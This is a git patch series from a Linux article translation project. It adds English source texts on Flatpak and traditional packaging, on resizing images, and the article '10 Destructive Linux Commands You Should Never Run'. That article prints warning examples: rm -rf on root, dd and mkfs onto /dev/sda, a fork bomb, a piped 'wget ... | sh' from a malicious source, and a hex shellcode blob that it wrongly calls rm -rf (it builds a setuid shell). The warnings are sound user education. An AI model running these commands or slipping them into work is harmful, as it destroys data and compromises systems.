punches holes in the sandbox, known as static permissions. They are developing proper long-term solutions called [XDG portals][31], to address many issues regarding sandboxing and make them act like Android’s security model. + +The only short-term issue is that toolkits, frameworks and applications have to adopt these standards. GTK and Qt are some toolkits that integrate some of these portals, but they also need time to integrate others. Meanwhile, many others haven’t really integrated any of the portals. + +It’s a matter of time before toolkits, frameworks and applications adopt these new standards, as there weren’t any proper standards prior to XDG portals. Applications had direct access to the filesystem and APIs, so static permissions keep this “standard”. + +### Conclusion + +The fundamental issue with traditional packaging is that it does not leverage containers. Many graphical applications are inherently complicated and require very specific dependencies to run as intended. Many distributions build the same application in different environments by making use of workarounds, such as patching the application or disabling build options. This leads to different variants of one application and suffers from inconsistent behavior and user experience. + +Of course, distribution maintainers can’t realistically rewrite their package managers and make use of containers in 10 days. These rewrites will break many scripts, features, and more and will also take a long time to be production-ready. + +My personal recommendation would be to use and promote Flatpak, as it is solely intended to extend an existing distribution rather than replace it. Packagers won’t have to worry about packaging applications and resorting to workarounds, as Flatpak will already be taking care of that. + +Written by Hari Rana and [originally published at this blog][32]. + +Hari is part of Fedora Editorial Board at Fedora Magazine. He is also a part of Fedoea quality assurance (QA). Hari wants to contribute to the adoption of the Linux desktop by promoting various technologies and helping people in need of assistance. + +**The views and opinions expressed in this article are those of the authors and do not necessarily represent opinions It's FOSS.** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/traditional-packaging-modern-applications/ + +作者:[Community][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/team/ +[b]: https://github.com/lkxed +[1]: https://images.unsplash.com/photo-1573376670774-4427757f7963?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDY2fHxwYWNrYWdpbmd8ZW58MHx8fHwxNjYyNzgzMzY1&ixlib=rb-1.2.1&q=80&w=1200 +[2]: https://unsplash.com/es/@kelli_mcclintock?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[3]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[4]: https://code.visualstudio.com/ +[5]: https://github.com/microsoft/vscode +[6]: https://images.unsplash.com/photo-1612933510543-5b442296703b?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDEwfHxwcm9ibGVtfGVufDB8fHx8MTY2Mjc4MzEwNg&ixlib=rb-1.2.1&q=80&w=2000 +[7]: https://unsplash.com/@simmerdownjpg?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[8]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[9]: https://code.visualstudio.com/ +[10]: https://aur.archlinux.org/packages/visual-studio-code-bin +[11]: https://github.com/microsoft/vscode +[12]: https://archlinux.org/packages/community/x86_64/code/ +[13]: https://images.unsplash.com/photo-1601001816339-74036796370c?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDl8fGNoZXJyeSUyMHBpY2t8ZW58MHx8fHwxNjYyNzgzNDA4&ixlib=rb-1.2.1&q=80&w=2000 +[14]: https://unsplash.com/@priscilladupreez?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[15]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[16]: https://github.com/obsproject/obs-studio/blob/fe889ec28ebd2f323b5933b7b11c5a9207539c59/CI/flatpak/com.obsproject.Studio.json#L259-L261 +[17]: https://wiki.archlinux.org/index.php?title=Electron_package_guidelines&oldid=661963#Directory_structure +[18]: https://www.youtube.com/watch?v=FPjEdrik-eQ +[19]: https://images.unsplash.com/photo-1595399822864-94ec54889cc7?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDl8fGJ1bXB5JTIwcm9hZHxlbnwwfHx8fDE2NjI3ODQ3MTI&ixlib=rb-1.2.1&q=80&w=2000 +[20]: https://unsplash.com/@alevisionco?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[21]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[22]: https://images.unsplash.com/photo-1474631245212-32dc3c8310c6?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDR8fHNvbHV0aW9ufGVufDB8fHx8MTY2Mjc4MzI5NA&ixlib=rb-1.2.1&q=80&w=2000 +[23]: https://unsplash.com/@pavement_special?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[24]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[25]: https://github.com/NixOS/Nix +[26]: https://nixos.wiki/wiki/Nix_channels +[27]: https://flatpak.org/ +[28]: https://images.unsplash.com/photo-1626829622490-43c7d7c80ac8?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDF8fGNoZXJyeSUyMHBpY2t8ZW58MHx8fHwxNjYyNzgzNDA4&ixlib=rb-1.2.1&q=80&w=2000 +[29]: https://unsplash.com/@ishphotos_?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[30]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[31]: https://github.com/flatpak/xdg-desktop-portal +[32]: https://theevilskeleton.gitlab.io/2022/08/29/traditional-packaging-is-not-suitable-for-modern-applications.html From 7ee403001a2441eb36f9643793ac6ae69b17d5ca Mon Sep 17 00:00:00 2001 From: lkxed Date: Sun, 11 Sep 2022 17:48:43 +0800 Subject: [PATCH 06/18] =?UTF-8?q?[=E6=89=8B=E5=8A=A8=E9=80=89=E9=A2=98][te?= =?UTF-8?q?ch]:=2020220911=2010=20Destructive=20Linux=20Commands=20You=20S?= =?UTF-8?q?hould=20Never=20Run.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ive Linux Commands You Should Never Run.md | 216 ++++++++++++++++++ 1 file changed, 216 insertions(+) create mode 100644 sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md diff --git a/sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md b/sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md new file mode 100644 index 0000000000..d8b21f59a3 --- /dev/null +++ b/sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md @@ -0,0 +1,216 @@ +[#]: subject: "10 Destructive Linux Commands You Should Never Run" +[#]: via: "https://itsfoss.com/dangerous-linux-commands/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +10 Destructive Linux Commands You Should Never Run +====== +What are the most dangerous Linux commands? + +I have been asked this question numerous times and I have avoided answering that because **there is no definite list of dangerous Linux commands**. + +You have the tools that enable you to control and modify every aspect of your operating system. I am not trying to scare you but if you are unfamiliar with the commands and tools, you can screw up your system pretty easily. + +Imagine the scenario of a young child in a household. There are numerous ways the kid can hurt herself. But does this mean the child should not be allowed outside the crib? That would be damaging to her growth. + +This is where parents set boundaries and guide the child. Don’t go near the fire. Don’t poke your fingers in the power outlets. As the child grows and gains experience, she can turn the stove on, make a fire in the fireplace and plug in the power cables. + +Similarly, if you are aware of a few known risky commands, you may avoid falling into the traps of trolls trying to trick you into running commands and messing up your system. + +As you gain experience and know the meaning and usages of the commands and tools, less will be the chances of destroying your system with silly and tricky commands. + +My teammate Sreenath gathered some of the popular dangerous Linux commands. Let’s see how they work. + +### 1. rm -rf /* + +This one probably is the most infamous command circling in all kinds of social media. You’ll often find trolls commenting this in various discussions. + +The command `rm` is used to remove files/directories. The flags `-r` and `-f` are used to denote recursive removal of all files inside the specified directory. Now, without root privilege, this command won’t do any harm. + +Running the [command sudo rm -rf /][1] also will not create any issues as most distributions provide a failsafe option. You need to specify –no-preserver-root with it to actually run it. + +``` +sudo rm -rf / --no-preserve-root +``` + +However, a simpler version of this could be: + +``` +sudo rm -rf /* +``` + +It will start deleting all the files recursively in the root directory, and at some particular time, your system freezes with a message “Error deleting file.” Once rebooted, you will be sent to the **grub-rescue** prompt. + +![Youtube Video][2] + +### 2. Overwrite your partition + +If you are familiar with file systems, you probably know what /dev/sda is. It is (usually) your disk drive partition. The `>` operator is used to write the output of its preceding command to the specified location provided. + +Once you run any command and write it to /dev/sda, say: + +``` +echo "Hello" > /dev/sda +``` + +This will replace your partition containing all data needed to boot the system with the string “Hello”. + +### 3. Move everything into the void + +There is a void inside every Linux system. And that void is /dev/null. + +Whatever you throw into this area is lost forever. Also, it reports the writing process as a success after discarding the data, which is the main reason for its destructiveness + +``` +mv /home/user/* /dev/null +``` + +The [mv command][3] is used to move or rename files/directories. In the above command, you move all the files inside the home directory to the void. While the root system is not destroyed, all your personal data will be lost. + +### 4. Format your hard drive + +[mkfs][4] is a command-line utility, used to format disks and partitions. It is a super handy tool for creating partitions for various installations. But the same command can format your drive also. Formatting your drive means deleting all the files needed for the system to boot. + +``` +mkfs.ext3 /dev/sda +``` + +The command does its job and you end up with a messed up system beyond recovery. + +### 5. Fork bomb + +This cute-looking, random combination of special characters and symbols is powerful enough to freeze a running system by exhausting the system resources. + +``` +:(){:|:&};: +``` + +& – Shell Background Operator. It informs the shell to put the command in the background. Here, it defines a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. This process keeps on executing again and again till the system freezes. + +As the name suggests, it forks itself and eventually becomes a chain bomb and eats up all the system resources. You’ll be forced to reboot the system, which is not as bad as the other commands in this list. + +### 6. Overwrite important configuration files + +While this is not a command by itself, it is more of a precautionary thing. + +As mentioned above, the “>” operator is used to write to a file. It just discards anything already present in the file and writes new data provided to it. + +``` +command > config_filename +``` + +Now, if you use some important configuration file as the place to write data, it will replace the content, leaving a broken system. + +### 7. Replace partition with garbage data + +The /dev/random is one command in Linux that can create garbage data. Combine it with the [dd command][5] and your partition, and you get a Molotov to set your partition on fire. + +``` +dd if=/dev/random of=/dev/sda +``` + +dd command is used as a low-level copying tool. Here, it takes random data from `/dev/random` and replaces the partition `/dev/sda` with this garbage. + +A similar kind of effect is obtained with: + +``` +cat /dev/urandom > filename +``` + +Here, it takes garbage data from /dev/urandom and fills in a file. If not terminated with Ctrl + C, the file can occupy a considerable amount of space, which may be disastrous for low-end systems. + +### 8. Expose your system to everyone + +Everything is a file in Linux and every [file has certain permissions][6]. + +You can view the permissions with `ls -l`. The root file system is not accessible to other users without privileges. While this ensures a private and secure system, you can upside down this system with one single command. + +``` +chmod -R 777/ +``` + +The above command exposes all files on the root partition to everyone. What it means is that everyone using the system has read, write, and execution permission. This is not good for your system. + +### 9. Download and run malicious content + +How do you install software in Linux? You use the official package manager or ready to use packages as Deb/RPM, Snap. Flatpak etc. + +However, some software are not packaged and their developers provide shell scripts to download and run. Take [homebrew][7] for example. + +You download a shell file and run it as root to install a software in your system. Do you see the problem with it? + +While it works with official software like Homebrew, you should double check the content of the shell script you are downloading before running it directly like this: + +``` +wget http://malicious_source -O- | sh +``` + +Such commands will download and run malicious scripts in your system, which can undermine the security of your system. + +### 10. Disguised commands + +There are many ways you can run commands in a Linux terminal. One such way is the hex-coded commands. + +``` +char esp[] __attribute__ ((section(“.text”))) /* e.s.p +release */ += “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” +“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” +“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” +“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” +“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” +“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” +“\x6e\x2f\x73\x68\x00\x2d\x63\x00” +“cp -p /bin/sh /tmp/.beyond; chmod 4755 +/tmp/.beyond;”; +``` + +While it looks fancy, this is a coded version of `rm -rf` command. It does the same effect as running the previous command. So, while copying and pasting such fancy commands from the internet, be cautious. + +### Wrapping Up + +![pebkac][8] + +There is a famous computing term PEBKAC; “problem exists between keyboard and chair.” + +Because in the end, it’s up to the user (you) to ensure that you don’t destroy the system by blindly running any dangerous command. + +> It is not UNIX’s job to stop you from shooting your foot. If you so choose to do so, then it is UNIX’s job to deliver Mr. Bullet to Mr Foot in the most efficient way it knows. + +And that line equally applies to Linux. You get full control over your operating system. What you choose to do with is totally up to you. + +I advise these things to ensure a safer experience: + +* Try and understand the commands you are about to run. +* Keep a backup of your system settings with Timeshift +* Keep a backup of personal data (home directory) using DejaDup + +As I said, there is no fixed list of dangerous Linux commands. A lot more can be added to this list and there is simply no end to it. + +I hope this gives you some hints about what you should not be doing to stay safe with Linux. Let me know if you have suggestions in the comment section. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/dangerous-linux-commands/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/sudo-rm-rf/ +[2]: https://youtu.be/AiKPo14uVNU +[3]: https://linuxhandbook.com/mv-command/ +[4]: https://linuxhandbook.com/mkfs-command/ +[5]: https://linuxhandbook.com/dd-command/ +[6]: https://linuxhandbook.com/linux-file-permissions/ +[7]: https://itsfoss.com/homebrew-linux/ +[8]: https://itsfoss.com/wp-content/uploads/2022/09/pebkac.jpg From 373ee5c3b67deab2bd7b1c6e7dbfc0e36d484b74 Mon Sep 17 00:00:00 2001 From: lkxed Date: Sun, 11 Sep 2022 17:49:48 +0800 Subject: [PATCH 07/18] =?UTF-8?q?[=E6=89=8B=E5=8A=A8=E9=80=89=E9=A2=98][te?= =?UTF-8?q?ch]:=2020220910=205=20ways=20to=20resize=20and=20optimize=20ima?= =?UTF-8?q?ges=20for=20the=20web=20on=20Linux.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...nd optimize images for the web on Linux.md | 147 ++++++++++++++++++ 1 file changed, 147 insertions(+) create mode 100644 sources/tech/20220910 5 ways to resize and optimize images for the web on Linux.md diff --git a/sources/tech/20220910 5 ways to resize and optimize images for the web on Linux.md b/sources/tech/20220910 5 ways to resize and optimize images for the web on Linux.md new file mode 100644 index 0000000000..b6f038b3b2 --- /dev/null +++ b/sources/tech/20220910 5 ways to resize and optimize images for the web on Linux.md @@ -0,0 +1,147 @@ +[#]: subject: "5 ways to resize and optimize images for the web on Linux" +[#]: via: "https://opensource.com/article/22/9/resize-optimize-images-web-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +5 ways to resize and optimize images for the web on Linux +====== +Resize, archive, and split images to make big files better for the Internet. + +![web development and design, desktop and browser][1] + +Image by: [kreatikar][2] via [Pixabay][3], [CC0][4] + +There was a time when 5 MB was the reasonable maximum size for an email attachment. Today, it's easily possible for a single photo to be 5 MB. Accordingly, the maximum attachment size has increased to, say, 25 MB. But of course file sizes are getting bigger and bigger too, and so eventually the attachment limit will go up too. It's an endless cycle, common in the digital world: the tools are built for today's data, and today's data increases in complexity and size until the tools are revised and improved. You have to contain data, preferably in the smallest packaging possible, so that sharing it online goes faster for everyone. Here are five ways to optimize images for the Internet. + +### What image size is good for the web? + +First of all, there are two kinds of "sizes" when discussing digital images. The *image size* represents how many pixels wide and high an image is when you look at it on your screen. The *file size* represents how many bytes on a hard drive or SD card the image uses. It's the *file size* that limits how easy something is to send it over the Internet because we all have different bandwidth allotments from our Internet providers and infrastructure. Of course, the larger the *image size*, the larger the *file size*, so the two are related. + +To avoid confusion, in this article I use the term "image size" to refer to the pixel width and height of an image, and the term "file size" to refer to the bytes on a hard drive occupied by an image file. + +It's hard to know exactly what a "reasonable" image size and file size is for a photo on the Internet or being sent over email. There are some reasonable expectations, though. If you're posting a photo to a website, whether it's your own blog or to social media, it's probable that *most* people are going to be viewing the photo at a resolution consistent with whatever's in stores. Your screen size, at least in 2022, is probably 1920 by 1080 (high definition, or HD) or thereabouts. Your photo, then, probably doesn't need to be any bigger than 1920 by 1080. Even people with a screen twice as big as yours could let your photo take up *half* their screen, which is probably sufficient. + +The other part of the equation is the file format. Many file formats, like JPEG and PNG, imply a certain amount of compression. The more compression, the smaller the file size, but too much compression can render a blurry image. I like the [WEBP][5] format, which tends to have quality better than JPEG at a smaller file size. It's well supported by image applications and all major web browsers. + +### 1. Resize an image with Krita + +The open source application [Krita][6] is technically a digital painting application but it happens to be [a really great photo editor][7] as well. I use it to load a photo, shrink it down to a reasonable size, and then save it in a web-optimized format. + +Three easy steps: + +1. Go to the File menu and select Open to open your image in Krita. +2. Go to the Image menu and select Scale image to new size. Type in the maximum width or height you want to resize your image to. +3. Go to the File menu and select Save As and save the image as a WEBP image. Krita is smart and switches to WEBP as long as you use the `.webp` extension while saving your file (for example, `myphoto.webp`.) + +![Resize an image with Krita][8] + +[Krita][9] is available for Linux, Windows, and macOS. + +### 2. Resize an image with GIMP + +The open source [GNU Image Manipulation Program (GIMP)][10] is a photo editor, and it can resize images. + +Three easy steps: + +1. Go to the File menu and select Open to open your image. +2. Go to the Image menu and select Scale image. Type in the maximum width or height you want to resize your image to. +3. Go to the File menu and select Export As and save the image as a WEBP image. The application is smart and uses WEBP as long as you give the `.webp` extension while saving your file (for example, `myphoto.webp`.) + +![Resize image in GNU Image Manipulation Program][11] + +[GNU Image Manipulation Program (GIMP)][12] is available for Linux, Windows, and macOS. + +### 3. Resize an image with ImageMagick + +The [ImageMagick][13] suite is a set of terminal commands that can manipulate images without even opening the files in a user interface. It's a fast and efficient way to [modify lots of images all in one go][14]. + +One easy step: + +``` +$ convert 2022-09-09-PHOTO.JPG -scale 1920x myphoto.webp +``` + +In this command, `convert` is the component of ImageMagick that performs conversion, and `-scale` is the option that resizes. The `1080^` argument specifies that the converted image must be 1029 pixels wide, and the height (left blank after the `x` character) is auto-calculated. + +[ImageMagick][15] is available for Linux, macOS, and Windows. + +### 4. Archive an image + +Sometimes you may not want to resize an image, but you still need to reduce the file size (the bytes the file uses up on your hard drive or SD card.) Images from consumer cameras, like those found in phones, are often already highly compressed, which doesn't leave much for a computer to optimize without resizing it. However, professional cameras often shoot in formats that assume you want no or minimal compression, which means that you can reduce the file size of an image without loss of quality with a good archiving utility. + +There are several archive utilities out there, and many may already be installed on your computer. For instance, if your computer can create ZIP archives, then you've already got the ZIP compression algorithm available. + +Two easy steps: + +1. Open a file manager on your computer and locate the photo you want to compress. +2. Right-click on the photo, and select Compress (on some operating systems, this may called Archive instead.) + +Provided there's enough uncompressed data in your image to allow for compression, the archive version ought to be smaller in file size than the original. You can send the archive over the Internet, and the recipient can un-archive the image with + +![Archiving a file][16] + +[7-zip][17] is an excellent archive tool for Linux, Windows, and [macOS][18]. + +### 5. Split an image + +If you're a Linux user, you can use the `split` command to cut an image into a few different pieces of a specific file size. Then you can send the pieces to someone, and they can reassemble the file using the `cat` command. + +Assume the file `2022-09-09-PHOTO.JPG` is 6.7 MB. You could cut it into four pieces by splitting it at every 2 MB. On your computer: + +``` +$ split 2022-09-09-PHOTO.JPG --bytes 2M +$ ls -l --human +[...] 6.7M Sep  7 14:50 2022-09-09-PHOTO.JPG +[...] 2.0M Sep  7 14:54 xaa +[...] 2.0M Sep  7 14:54 xab +[...] 2.0M Sep  7 14:54 xac +[...] 667K Sep  7 14:54 xad +``` + +On the recipient's computer: + +``` +$ cat xaa xab xac xad > myphoto.jpg +``` + +### Save space + +In the eternal struggle between file size and carrier capacity, it's likely we'll always have to make concessions. Using open source tools to save space either through lossy compression, lossless compressed archiving, or through clever work-arounds, is a great way to save space and maximize speed of communication. Sure, a picture is worth a thousand words, but it doesn't have to take up a thousand megabytes! + +Image by: (Seth Kenlon, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/resize-optimize-images-web-linux + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/web_browser_desktop_devlopment_design_system_computer.jpg +[2]: https://pixabay.com/en/users/kreatikar-8562930/ +[3]: https://pixabay.com/en/webdesign-design-web-website-3411373/ +[4]: https://pixabay.com/en/service/terms/#usage +[5]: https://opensource.com/article/20/4/webp-image-compression +[6]: http://krita.org +[7]: https://opensource.com/article/21/12/open-source-photo-editing-krita +[8]: https://opensource.com/sites/default/files/2022-09/krita-resize.webp +[9]: http://krita.org +[10]: http://gimp.org +[11]: https://opensource.com/sites/default/files/2022-09/gimp-resize.webp +[12]: http://gimp.org +[13]: https://imagemagick.org/ +[14]: https://opensource.com/article/17/8/imagemagick +[15]: https://imagemagick.org/script/download.php +[16]: https://opensource.com/sites/default/files/2022-09/gnome-compress.webp +[17]: https://www.7-zip.org/download.html +[18]: https://formulae.brew.sh/formula/p7zip From fecc2a53daac3abff1a68e50c8c16868f1e18df1 Mon Sep 17 00:00:00 2001 From: Xingyu Wang Date: Sun, 11 Sep 2022 23:12:17 +0800 Subject: [PATCH 08/18] R --- ...able USB Using Etcher in Linux – Download and Usage Guide.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/published/20220904 Create Bootable USB Using Etcher in Linux – Download and Usage Guide.md b/published/20220904 Create Bootable USB Using Etcher in Linux – Download and Usage Guide.md index fceb25e4d9..9766f5e3e3 100644 --- a/published/20220904 Create Bootable USB Using Etcher in Linux – Download and Usage Guide.md +++ b/published/20220904 Create Bootable USB Using Etcher in Linux – Download and Usage Guide.md @@ -14,7 +14,7 @@ > 关于如何在 Ubuntu 和其他 Linux 中使用 Etcher 工具创建可引导 USB 的快速简单教程。 -[Etcher][1] 是由 [Balena][2] 创建的实用程序,它可以使用 .iso 文件创建可启动的 USB 和 SD 卡,q其独特的方式让你的生活变得轻松。在本指南中,我将向你展示下载和安装 Etcher 的步骤。 +[Etcher][1] 是由 [Balena][2] 创建的实用程序,它可以使用 .iso 文件创建可启动的 USB 和 SD 卡,其独特的方式让你的生活变得轻松。在本指南中,我将向你展示下载和安装 Etcher 的步骤。 虽然对某些人来说有点过于简单,但对其他人来说可能很难。因此才有了本指南。 From 5d862b714071bef04b73e78ddfb7709812bdb9d9 Mon Sep 17 00:00:00 2001 From: gpchn <99541536+gpchn@users.noreply.github.com> Date: Sun, 11 Sep 2022 23:23:03 +0800 Subject: [PATCH 09/18] =?UTF-8?q?[=E7=94=B3=E9=A2=86=E5=8E=9F=E6=96=87]=20?= =?UTF-8?q?Traditional=20Linux=20Packaging=20is=20not=20Suitable=20for=20M?= =?UTF-8?q?odern=20Applications?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ckaging is not Suitable for Modern Applications [Opinion].md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md b/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md index 8826621d5f..11d5b136ed 100644 --- a/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md +++ b/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md @@ -2,7 +2,7 @@ [#]: via: "https://news.itsfoss.com/traditional-packaging-modern-applications/" [#]: author: "Community https://news.itsfoss.com/author/team/" [#]: collector: "lkxed" -[#]: translator: " " +[#]: translator: "99541536" [#]: reviewer: " " [#]: publisher: " " [#]: url: " " From 786fb3b68e8668a00f2f5c70df997bedd4b5bf9f Mon Sep 17 00:00:00 2001 From: Xingyu Wang Date: Sun, 11 Sep 2022 23:26:34 +0800 Subject: [PATCH 10/18] A --- ...220911 10 Destructive Linux Commands You Should Never Run.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md b/sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md index d8b21f59a3..cb66097c69 100644 --- a/sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md +++ b/sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md @@ -2,7 +2,7 @@ [#]: via: "https://itsfoss.com/dangerous-linux-commands/" [#]: author: "Abhishek Prakash https://itsfoss.com/" [#]: collector: "lkxed" -[#]: translator: " " +[#]: translator: "wxy" [#]: reviewer: " " [#]: publisher: " " [#]: url: " " From 065b53d1204cb756cdf573fd2b36d63dfcbb35d9 Mon Sep 17 00:00:00 2001 From: gpchn <99541536+gpchn@users.noreply.github.com> Date: Mon, 12 Sep 2022 02:01:21 +0800 Subject: [PATCH 11/18] Update 20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md --- ...table for Modern Applications [Opinion].md | 192 ++++++++---------- 1 file changed, 89 insertions(+), 103 deletions(-) diff --git a/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md b/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md index 11d5b136ed..a5b082297c 100644 --- a/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md +++ b/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md @@ -7,217 +7,203 @@ [#]: publisher: " " [#]: url: " " -Traditional Linux Packaging is not Suitable for Modern Applications [Opinion] +传统的Linux安装包格式不适合现代应用 [观点] ====== -Open source contributor Hari Rana expresses his opinion on why traditional Linux packages are no longer suitable for modern applications. +开源贡献者 Hari Rana 表达了他对传统 Linux 安装包格式不再适合现代应用的看法。 -![Traditional Linux Packaging is not Suitable for Modern Applications [Opinion]][1] +![传统的Linux安装包格式不适合现代应用 [观点]][1] -Image by: [Kelli McClintock][2] on [Unsplash][3] +图片来源:来自 [Unsplash][2] 的 [Kelli McClintock][3] -I repeatedly encounter users complaining about LTS and stable distributions having issues with application packages, but then claim that no such thing ever happens with bleeding-edge distributions. However, with my experience and knowledge with the technical side of packaging, I can’t emphasize enough that this is untrue. +我多次遇到用户抱怨LTS和稳定版的应用安装包有问题,但又声称开发版从来没有发生过这种事情。然而,以我在安装包技术方面的经验和知识,我不能不强调,这是不对的。 -Distribution model is hardly the issue here; the fundamental issue is that traditional packaging is not suitable for modern graphical applications, no matter the distribution model. And how formats like Nix and Flatpak have managed to address these fundamental problems. Interestingly, most servers do make use of containerization (i.e., Docker), because it improves reproducibility and enhances maintainability. We could take inspiration from this and adopt a similar standard that is suitable for the Linux desktop. +发行模式不是问题的根源所在,根本的问题是传统的安装包格式不适合现代的图形应用,不管是什么发行版。那么像 Nix 和 Flatpak 这样的格式是如何解决这些基本问题的?有趣的是,大多数服务器确实利用了容器化(即 Docker),因为它提高了可重复性并增强了可维护性。我们可以从中得到启发,采用一个适用于 Linux 桌面的类似标准。 -### Disclaimer +### 免责声明 -1. “Traditional packaging” is defined as distributions shipping graphical applications using distribution package managers without the use of containers, such as apt, dnf, pacman, and more. -2. “Distribution model” is defined as the releasing process, such as long-term support (LTS), stable, and bleeding-edge. -3. “Similar application(s)” is defined as two applications that are technically really similar, like [Visual Studio Code][4] and [Code - OSS][5]. -4. I’ll be using Arch Linux as a reference for most of these examples. However, these behaviors are consistent with distributions that heavily practice traditional packaging. -5. Nix does not use containers, nor is it a container format. However, for the sake of simplicity, I will be referring it as a container format. +1. “传统打包”是指使用包管理器发布的图形应用程序,而不使用容器,如 apt、dnf、pacman 等。 +2. “发行模式”是指发行过程,如长期支持版(LTS)、稳定版和开发版等。 +3. “类似的应用程序”是指两个在技术上真正相似的应用程序,如 [Visual Studio Code][4] 和 [Code - OSS][5]。 +4. 在这些例子中,我将使用 Arch Linux 作为参考。然而,这些行为与那些大量采用传统安装包格式的发行版是一致的。 +5. Nix不使用容器,它也不是一种容器格式。但为了简单起见,我暂时把它称为一种容器格式。 -### The Fundamental Problem +### 根本问题 ![][6] -Image by: [Jackson Simmer][7] on [Unsplash][8] +图片来源:来自 [Unsplash][7] 的 [Jackson Simmer][8] -Most, if not all, distributions that heavily practice traditional packaging share this common problem: none of them leverage containers or other convenient methods to separate dependencies. In Layman’s terms, a container is a box in which we can put things and use them separately without affecting the main system (host). +大多数(或许不是全部)大量采用传统安装包格式的发行版都有这个共同的问题:它们都没有利用容器或其他方便的方法来区分依赖关系。用通俗的话说,容器是一个盒子,我们可以把东西放在里面,在不影响主系统(主机)的情况下单独使用它们。 -Containers usually don’t affect anything outside of the “box”. They’re also portable, as they’re installable on other distributions while still providing a consistent experience. With package managers that leverage them, they install each package in different containers, which provide an additional layer of safety. This gives packagers a lot more control and flexibility with what can be bundled inside their packages. +容器通常不会影响“盒子”外的任何东西。并且它们是可移植的,因为它们可以安装在其他发行版上,同时提供一致的体验。利用容器的包管理器会将每个软件包安装在不同的容器中,这提供了一个额外的安全层。这给了开发者更多的控制权和灵活性,他们可以决定在软件包内捆绑什么。 -Traditional packaging introduces several issues, such as dependency and package conflicts, which usually require workarounds 